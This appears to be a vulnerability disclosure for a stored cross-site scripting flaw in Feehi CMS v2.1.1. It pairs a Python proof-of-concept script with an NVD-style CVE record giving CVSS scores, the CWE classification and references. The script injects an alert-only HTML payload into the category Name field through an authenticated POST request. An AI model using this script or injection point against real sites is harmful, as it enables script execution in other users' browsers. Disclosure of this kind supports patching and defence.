CVE-2026-31353

import requests # Target URL (Feehi CMS Category Module) target_url = "http://example.com/admin/category/save" # Attacker's session cookie (Required as per PR:L) session_cookie = { "PHPSESSID": "attacker_session_id_here" } # Malicious payload injected into the Name parameter xss_payload = "<img src=x onerror=alert('XSS-CVE-2026-31353')>" # Data payload to be sent in the POST request post_data = { "Name": xss_payload, "ParentId": "0", "slug": "test-category" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=session_cookie) if response.status_code == 200: print("[+] Payload injected successfully into the Category Name parameter.") print("[+] Trigger the payload by visiting the category list page.") else: print("[-] Failed to inject payload. Status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))

{"cve": {"id": "CVE-2026-31353", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:33.130", "lastModified": "2026-04-09T21:16:09.590", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated stored cross-site scripting (XSS) vulnerability in the Category module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehi_cms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "C27559F1-734D-4924-AD35-EDC2DD9EDF7C"}]}]}], "references": [{"url": "https://github.com/liufee/cms", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/liufee/cms/issues/84", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/liufee/cms/issues/84", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}